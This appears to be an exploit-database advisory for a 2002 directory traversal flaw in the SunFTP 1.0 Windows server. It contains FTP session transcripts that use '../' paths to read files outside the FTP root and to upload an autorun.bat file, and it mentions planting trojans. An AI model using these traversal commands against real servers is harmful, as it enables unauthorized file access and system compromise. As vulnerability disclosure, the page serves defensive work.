SunFTP FTP Server Remote File Retrieval/Upload Vulnerability

vendor:

SunFTP

by:

SecurityFocus

7.5

CVSS

HIGH

Remote File Retrieval/Upload

CWE

Product Name: SunFTP

Affected Version From: 1

Affected Version To: 1

Patch Exists: YES

Related CWE: N/A

CPE: a:sunftp:sunftp:1.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2002

SunFTP FTP Server Remote File Retrieval/Upload Vulnerability

SunFTP is a freeware FTP server written by Rasmus J.P. Allenheim and associates for the Windows platform. SunFTP contains a vulnerability that may allow FTP users to compromise the server. Users may be able to upload or retrieve files from outside the protected FTP-root directory. This could allow, for example, users to place trojan horse programs on the system and gain control. Using this vulnerability to retrieve a file from outside the FTP-root (sunftptest.txt): ftp> get ../sunftptest.txt 200 Port command successful. 150 Opening data connection for ../sunftptest.txt. 226 File sent ok Using this vulnerability to place a file on the target filesystem outside the FTP-root (../autorun.bat): ftp> put Lokale Datei c:est.txt Remotedatei ../autorun.bat 200 Port command successful. 150 Opening data connection for ../autorun.bat. 226 File sent ok

Mitigation:

Upgrade to the latest version of SunFTP.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/2428/info

SunFTP is a freeware ftp server written by Rasmus J.P. Allenheim and associates for the Windows platform.

SunFTP contains a vulnerability that may allow ftp users to compromise the server. Users may be able to upload or retrieve files from outside the protected ftp-root directory.

This could allow, for example, users to place trojan horse programs on the system and gain control. 

Using this vulnerability to retrieve a file from outside the ftp-root (sunftptest.txt):

ftp> get ../sunftptest.txt
200 Port command successful.
150 Opening data connection for ../sunftptest.txt.
226 File sent ok

Using this vulnerability to place a file on the target filesystem outside the ftp-root (../autorun.bat):

ftp> put
Lokale Datei c:\test.txt
Remotedatei ../autorun.bat